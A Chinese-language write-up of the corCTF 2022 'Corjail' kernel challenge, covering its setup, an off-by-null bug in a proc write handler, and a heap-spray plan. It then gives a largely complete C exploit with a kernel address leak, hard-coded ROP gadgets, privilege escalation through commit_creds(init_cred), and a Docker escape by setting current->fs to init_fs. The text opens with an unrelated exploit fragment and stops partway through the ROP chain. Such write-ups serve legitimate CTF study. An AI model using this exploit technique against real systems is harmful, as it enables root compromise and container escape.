       ioctl(bof_fd, BOF_EDIT, &p);
   }

   for (int i = 1; i < 40; ++i)
   {
       p.idx = i;
       p.len = 0x20;

       ioctl(bof_fd, BOF_READ, &p);
       printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
       printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
       printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
       printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
   }



   for (int i = 0; i < 256; i++) {
       read(seq_fd[i], p.buf, 1);
   }

   return 0;
} corCTF-2022:Corjail 题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \
   -m 1G \
   -nographic \
   -no-reboot \
   -kernel bzImage \
   -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
   -hda coros.qcow2 \
   -snapshot \
   -monitor /dev/null \
   -cpu qemu64,+smep,+smap,+rdrand \
   -smp cores=4 \
   --enable-kvm

init脚本

查看服务进程/etc/systemd/system/init.service；

Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

查看 /usr/local/bin/init 脚本;

cat /usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo "export PS1='\[33[01;31m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[33[01;35m\]\u@CoROS\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '" >> /home/$USER/.bashrc

chmod -r 0700 /home/$USER

mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

查看root用户的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

/usr/bin/docker run -it --user user \
   --hostname CoRJail \
   --security-opt seccomp=/etc/docker/corjail.json \
   -v /proc/cormon:/proc_rw/cormon:rw corcontainer

/bin/bash

/usr/sbin/poweroff -f

发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身，在那之后我们起的虚拟环境就是处于该docker容器当中。

为了方便调试，我们可以使用edit将其修改为:

><fs> edit /usr/local/bin/jail
><fs> cat /usr/local/bin/jail
#!/bin/bash

echo -e '[33[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'

cp /exploit /home/user || echo "[!] exploit not found, skipping"

chown -R user:user /home/user

echo 0 > /proc/sys/kernel/kptr_restrict

/usr/bin/docker run -it --user root \
 --hostname CoRJail \
 --security-opt seccomp=/etc/docker/corjail.json \
 # 允许容器能够调用与日志相关的系统调用
 --cap-add CAP_SYSLOG \
 # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon，并且以读写模式挂载。
 -v /proc/cormon:/proc_rw/cormon:rw \
 # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
 -v /home/user/:/home/user/host \
 corcontainer

/bin/bash

/usr/sbin/poweroff -f

edit 的用法和 vim 一样。

后面我们上传 exp 的时候可以使用 upload 命令，其格式如下:

><fs> help upload
NAME
   upload - upload a file from the local machine

SYNOPSIS
    upload filename remotefilename

DESCRIPTION
   Upload local file filename to remotefilename on the filesystem.

   filename can also be a named pipe.

   See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c   2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c   2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@

#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
  /*
  * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h    2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h    2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
 * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
 * macros to work correctly.
 */
-#define SYSCALL_DEFINE0(sname)                    \
+#define __SYSCALL_DEFINE0(sname)                      \
  SYSCALL_METADATA(_##sname, 0);                  \
  static long __do_sys_##sname(const struct pt_regs *__unused);   \
  __X64_SYS_STUB0(sname)                      \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h  2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h  2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>

#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif

-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)                \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)                  \
  SYSCALL_METADATA(_##sname, 0);              \
  asmlinkage long sys_##sname(void);          \
  ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);      \
@@ -219,9 +220,41 @@

#define SYSCALL_DEFINE_MAXARGS 6

-#define SYSCALL_DEFINEx(x, sname, ...)            \
-   SYSCALL_METADATA(sname, x, __VA_ARGS__)        \
-   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+   this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)                \
+   {                                  \
+      __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);    \
+      return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));    \
+   }                                  \
+   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+   static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)                \
+   {                              \
+      __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);    \
+      return __count_sys_##sname();              \
+   }                              \
+   static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)        \
+   SYSCALL_METADATA(sname, x, __VA_ARGS__)    \
+   SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)   \
+   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)    \
+   SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)    \
+   SYSCALL_COUNT_DECLARE0(sname)   \
+   __SYSCALL_DEFINE0(sname)    \
+   SYSCALL_COUNT_FUNC0(sname)

#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)

diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
  return NULL;
}

-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
  if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
     return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@

  return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);

const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@

  return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);

static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。

seccomp.json 保存了系统调用的白名单。

{
   "defaultAction": "SCMP_ACT_ERRNO",
   "defaultErrnoRet": 1,
   "syscalls": [
       {
           "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
           "action": "SCMP_ACT_ALLOW"
       },
       {
           "names": [ "clone" ],
           "action": "SCMP_ACT_ALLOW",
           "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
       }
   ]
}

根据README.md提示，可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。

root@CoRJail:/# cat /proc_rw/cormon

     CPU0      CPU1      CPU2      CPU3    Syscall (NR)

        9        16        25        18    sys_poll (7)
        0         0         0         0    sys_fork (57)
       66        64        79        60    sys_execve (59)
        0         0         0         0    sys_msgget (68)
        0         0         0         0    sys_msgsnd (69)
        0         0         0         0    sys_msgrcv (70)
        0         0         0         0    sys_ptrace (101)
       15        19        11         6    sys_setxattr (188)
       27        24        11        20    sys_keyctl (250)
        0         0         2         2    sys_unshare (272)
        0         1         0         0    sys_execveat (322)

也可以指定系统调用。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon

     CPU0      CPU1      CPU2      CPU3    Syscall (NR)

        0         0         0         0    sys_msgsnd (69)
        0         0         0         0    sys_msgrcv (70)

src.c

可以看到 write 存在明显的off-by-null。

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
   loff_t offset = *ppos;
   char *syscalls;
   size_t len;

   if (offset < 0)
       return -EINVAL;

   if (offset >= PAGE_SIZE || !count)
       return 0;

   len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

   syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
   printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

   if (!syscalls)
   {
       printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
       return -ENOMEM;
   }

   if (copy_from_user(syscalls, ubuf, len))
   {
       printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
       return -EFAULT;
   }

   syscalls[len] = '\x00';

   if (update_filter(syscalls))
   {
       kfree(syscalls);
       return -EINVAL;
   }

   kfree(syscalls);

   return count;
} 利用思路

在 poll_list 利用方式中：

• 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合，并且 32 大小的 object 其低字节是可能为 \x00 的，其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。

• 然后创建 poll_list 链，其中 poll_list.next 指向的是一个 0x20 大小的 object。

• 触发 off by null，修改 poll_list.next 的低字节为 \x00，这里可能导致其指向某个 user_key_payload。

• 然后等待 timeout 后， 就会导致某个 user_key_payload 被释放，导致 UAF。

详细流程如下：

首先，我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0，因为我们是在一个多核环境中工作，而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {
   cpu_set_t cpu_set;
   CPU_ZERO(&cpu_set);
   CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
   if (thread) {
       pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
   } else {
       sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
   }
}

喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。

此时内存中 object 的分布如下图所示，其中黄色的是 user_key_payload ，绿色的是 poll_list ，白色是空闲 object 。

通过 off by null 修改 0x1000 大小的 poll_list ，使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构，被 next 指向的的 user_key_payload 也被释放，形成 UAF 。

注意，为了确保释放 poll_list 不出错，要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化，因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
    size_t size, int flags)
{
   int error;
   void *kvalue = NULL;
   char kname[XATTR_NAME_MAX + 1];
   [...]
   if (size) {
       [...]
       kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
       if (!kvalue)
           return -ENOMEM;
       // 修改kmalloc-x内容
       if (copy_from_user(kvalue, value, size)) {
           error = -EFAULT;
           goto out;
       }
       [...]
   }

   error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
   kvfree(kvalue); // 释放kmalloc-x

   return error;
}

另外实测 kmalloc-32 的 freelist 偏移为 16 字节，不会覆盖 next 指针。

喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读， user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ，可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。

struct seq_operations {
   void * (*start) (struct seq_file *m, loff_t *pos);
   void (*stop) (struct seq_file *m, void *v);
   void * (*next) (struct seq_file *m, void *v, loff_t *pos);
   int (*show) (struct seq_file *m, void *v);
};

struct user_key_payload {
   struct rcu_head rcu;        /* RCU destructor */
   unsigned short  datalen;    /* length of this data */
   char        data[0] __aligned(__alignof__(u64)); /* actual data */
};

struct callback_head {
   struct callback_head *next;
   void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ，我们定义这个地址为 target_object 。

释放 seq_operations ，喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前，释放劫持的 user_key_payload ，利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18，方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果，setxattr 修改过的 object 通过申请 user_key_payload 劫持，确保下次 setxattr 修改的是另外的 object。

打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。

int tty_alloc_file(struct file *file)
{
   struct tty_file_private *priv;

   priv = kmalloc(sizeof(*priv), GFP_KERNEL);
   if (!priv)
       return -ENOMEM;

   file->private_data = priv;

   return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
   struct tty_struct *tty;
   struct file *file;
   struct list_head list;
};

趁 poll_list 还没有释放，释放 tty_struct 并申请 pipe_buffer ，将 target_object(tty_struct) 替换为 pipe_buffer 。

struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };

之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ，从而劫持 pipe_buffer->ops 实现控制流劫持。

docker逃逸

具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务，我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中，setns() 被seccomp默认屏蔽了，我们可以克隆 init_fs 结构，然后用find_task_by_vpid()定位当前任务，用 gadget 手动安装新fs_struct。

   // commit_creds(&init_creds)
   *rop++ = pop_rdi_ret;
   *rop++ = init_cred;
   *rop++ = commit_creds;

   // current = find_task_by_vpid(getpid())
   *rop++ = pop_rdi_ret;
   *rop++ = getpid();
   *rop++ = find_task_by_vpid;

   // current->fs = &init_fs
   *rop++ = pop_rcx_ret;
   *rop++ = 0x6e0;
   *rop++ = add_rax_rcx_ret;
   *rop++ = pop_rbx_ret;
   *rop++ = init_fs;
   *rop++ = mov_mmrax_rbx_pop_rbx_ret;
   rop++;
exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define PAGE_SIZE 0x1000

int randint(int min, int max) {
   return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
   cpu_set_t cpu_set;
   CPU_ZERO(&cpu_set);
   CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
   if (thread) {
       pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
   } else {
       sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
   }
}

void qword_dump(char *desc, void *addr, int len) {
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

bool is_kernel_text_addr(size_t addr) {
   return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
   return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

const size_t kernel_addr_list[] = {
       0xffffffff813275c0,
       0xffffffff812d4320,
       0xffffffff812d4340,
       0xffffffff812d4330
};

size_t kernel_offset_query(size_t kernel_text_leak) {
   if (!is_kernel_text_addr(kernel_text_leak)) {
       return INVALID_KERNEL_OFFSET;
   }
   for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
       if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
           && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
           return kernel_text_leak - kernel_addr_list[i];
       }
   }
   printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
   return INVALID_KERNEL_OFFSET;
}

size_t search_kernel_offset(void *buf, int len) {
   size_t *search_buf = buf;
   for (int i = 0; i < len / 8; i++) {
       size_t kernel_offset = kernel_offset_query(search_buf[i]);
       if (kernel_offset != INVALID_KERNEL_OFFSET) {
           printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
           printf("[+] kernel offset: %#lx\n", kernel_offset);
           return kernel_offset;
       }
   }
   return INVALID_KERNEL_OFFSET;
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
   __asm__("mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_sp, rsp;"
           "pushf;"
           "pop user_rflags;");
   puts("[*] status has been saved.");
}

typedef struct {
   int nfds, timer;
} poll_args;

struct poll_list {
   struct poll_list *next;
   int len;
   struct pollfd entries[];
};

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;

void *alloc_poll_list(void *args) {
   int nfds = ((poll_args *) args)->nfds;
   int timer = ((poll_args *) args)->timer;

   struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
   for (int i = 0; i < nfds; i++) {
       pfds[i].fd = open("/etc/passwd", O_RDONLY);
       pfds[i].events = POLLERR;
   }

   bind_core(true, true);

   pthread_mutex_lock(&mutex);
   poll_threads++;
   pthread_mutex_unlock(&mutex);
   poll(pfds, nfds, timer);

   bind_core(false, true);

   pthread_mutex_lock(&mutex);
   poll_threads--;
   pthread_mutex_unlock(&mutex);
}

#define N_STACK_PPS 30
#define POLL_NUM 0x1000

pthread_t poll_tid[POLL_NUM];

void create_poll_thread(size_t size, int timer) {
   poll_args *args = calloc(1, sizeof(poll_args));
   args->nfds =
       (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
       + N_STACK_PPS;
   args->timer = timer;
   pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}

void wait_poll_start() {
   while (poll_threads != poll_cnt);
}

void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
   for (int i = 0; i < poll_threads; i++) {
       pthread_join(poll_tid[i], NULL);
       if (confuse != NULL) {
           confuse(confuse_args);
       }
   }
   poll_cnt = poll_threads = 0;
}

struct callback_head {
   struct callback_head *next;

   void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
   struct rcu_head rcu;        /* RCU destructor */
   unsigned short datalen;    /* length of this data */
   char data[0] __aligned(__alignof__(u64)); /* actual data */
};

#define KEY_NUM 199
int key_id[KEY_NUM];

int key_alloc(int id, void *payload, int payload_len) {
   char description[0x10] = {};
   sprintf(description, "%d", id);
   return key_id[id] =
       syscall(__NR_add_key, "user", description, payload,
               payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
   return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
   return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
   return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
   return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
   struct list_head *next, *prev;
};
struct tty_file_private {
   struct tty_struct *tty;
   struct file *file;
   struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
   struct page *page;
   unsigned int offset, len;
   const struct pipe_buf_operations *ops;
   unsigned int flags;
   unsigned long private;
};

struct pipe_buf_operations {
   int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
   void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

void get_shell(void) {
   char *args[] = {"/bin/bash", "-i", NULL};
   execve(args[0], args, NULL);
}

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024

int cormon_fd;
char buf[0x20000];

void seq_confuse(void *args) {
   open("/proc/self/stat", O_RDONLY);
}

size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;

int main() {
   bind_core(true, false);
   save_status();
   signal(SIGSEGV, (void *) get_shell);

   cormon_fd = open("/proc_rw/cormon", O_RDWR);
   if (cormon_fd < 0) {
       perror("[-] failed to open cormon.");
       exit(-1);
   }
   
   size_t kernel_offset;
   int target_key;
   puts("[*] Saturating kmalloc-32 partial slabs...");

   int seq_fd[SEQ_NUM];
   for (int i = 0; i < SEQ_NUM; i++) {
       seq_fd[i] = open("/proc/self/stat", O_RDONLY);
       if (seq_fd[i] < 0) {
           perror("[-] failed to open stat.");
           exit(-1);
       }
       if (i == 2048) {
           puts("[*] Spraying user keys in kmalloc-32...");
           for (int j = 0; j < KEY_NUM; j++) {
               setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
               key_alloc(j, buf, 32);
               if (j == 72) {
                   bind_core(false, false);
                   puts("[*] Creating poll threads...");
                   for (int k = 0; k < 14; k++) {
                       create_poll_thread(
                           PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),
                           3000);
                   }
                   bind_core(true, false);
                   wait_poll_start();
               }
           }
           puts("[*] Corrupting poll_list next pointer...");
           write(cormon_fd, buf, PAGE_SIZE);
           puts("[*] Triggering arbitrary free...");
           join_poll_threads(seq_confuse, NULL);
           puts("[*] Overwriting user key size / Spraying seq_operations structures...");
       }
   }
   puts("[*] Leaking kernel pointer...");

   for (int i = 0; i < KEY_NUM; i++) {
       int len = key_read(i, buf, sizeof(buf));
       kernel_offset = search_kernel_offset(buf, len);
       if (kernel_offset != INVALID_KERNEL_OFFSET) {
           qword_dump("dump leak memory", buf, 0x1000);
           target_key = i;
           break;
       }
   }
   if (kernel_offset == INVALID_KERNEL_OFFSET) {
       puts("[-] failed to leak kernel offset,try again.");
       exit(-1);
   }

   push_rsi_pop_rsp_ret += kernel_offset;
   pop_rdi_ret += kernel_offset;
   init_cred += kernel_offset;
   commit_creds += kernel_offset;
   pop_r14_pop_r15_ret += kernel_offset;
   find_task_by_vpid += kernel_offset;
   init_fs += kernel_offset;
   pop_rcx_ret += kernel_offset;
   add_rax_rcx_ret += kernel_offset;
   mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
   pop_rbx_ret += kernel_offset;
   swapgs_ret += kernel_offset;
   iretq += kernel_offset;

   puts("[*] Freeing user keys...");
   for (int i = 0; i < KEY_NUM; i++) {
       if (i != target_key) {
           key_unlink(i);
       }
   }
   sleep(1);

   puts("[*] Spraying tty_file_private / tty_struct structures...");
   int tty_fd[TTY_NUM];
   for (int i = 0; i < TTY_NUM; i++) {
       tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
       if (tty_fd[i] < 0) {
           perror("[-] failed to open ptmx");
       }
   }

   puts("[*] Leaking heap pointer...");

   size_t target_object = -1;
   int len = key_read(target_key, buf, sizeof(buf));
   qword_dump("dump leak memory", buf, 0x1000);
   for (int i = 0; i < len; i += 8) {
       struct tty_file_private *head = (void *) &buf[i];
       if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
           && head->list.next == head->list.prev && head->list.prev != NULL) {
           qword_dump("leak tty_struct addr from tty_file_private", &buf[i],
                      sizeof(struct tty_file_private));
           target_object = (size_t) head->tty;
           printf("[+] tty_struct addr: %p\n", target_object);
           break;
       }
   }
   if (target_object == -1) {
       puts("[-] failed to leak tty_struct addr.");
       exit(-1);
   }

   puts("[*] Freeing seq_operation structures...");
   for (int i = 2048; i < SEQ_NUM; i++) {
       close(seq_fd[i]);
   }

   bind_core(false, false);

   puts("[*] Creating poll threads...");
   for (int i = 0; i < 192; i++) {
       create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
   }

   bind_core(true, false);

   wait_poll_start();

   puts("[*] Freeing corrupted key...");
   key_unlink(target_key);
   sleep(1); // GC key

   puts("[*] Overwriting poll_list next pointer...");
   char key[32] = {};
   *(size_t *) &buf[0] = target_object - 0x18;

   for (int i = 0; i < KEY_NUM; i++) {
       setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
       key_alloc(i, key, 32);
   }

   puts("[*] Freeing tty_struct structures...");
   for (int i = 0; i < TTY_NUM; i++) {
       close(tty_fd[i]);
   }

   sleep(1); // GC TTYs
   int pipe_fd[PIPE_NUM][2];
   puts("[*] Spraying pipe_bufer structures...");
   for (int i = 0; i < PIPE_NUM; i++) {
       pipe(pipe_fd[i]);
       write(pipe_fd[i][1], "aaaaaa", 6);
   }

   puts("[*] Triggering arbitrary free...");
   join_poll_threads(NULL, NULL);


   ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
   ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;


   size_t *rop = (size_t *) buf;

   *rop++ = pop_r14_pop_r15_ret;
   rop++;
   rop++; // ops

   // commit_creds(&init_creds)
   *rop++ = pop_rdi_ret;
   *rop++ = init_cred;
   *rop++ = commit_creds;

   // current = find_task_by_vpid(getpid())
   *rop++ = pop_rdi_ret;
   *rop++ = getpid();
   *rop++ = find_task_by_vpid;

   // current->fs = &init_fs
   *rop++ = pop_rcx_ret;
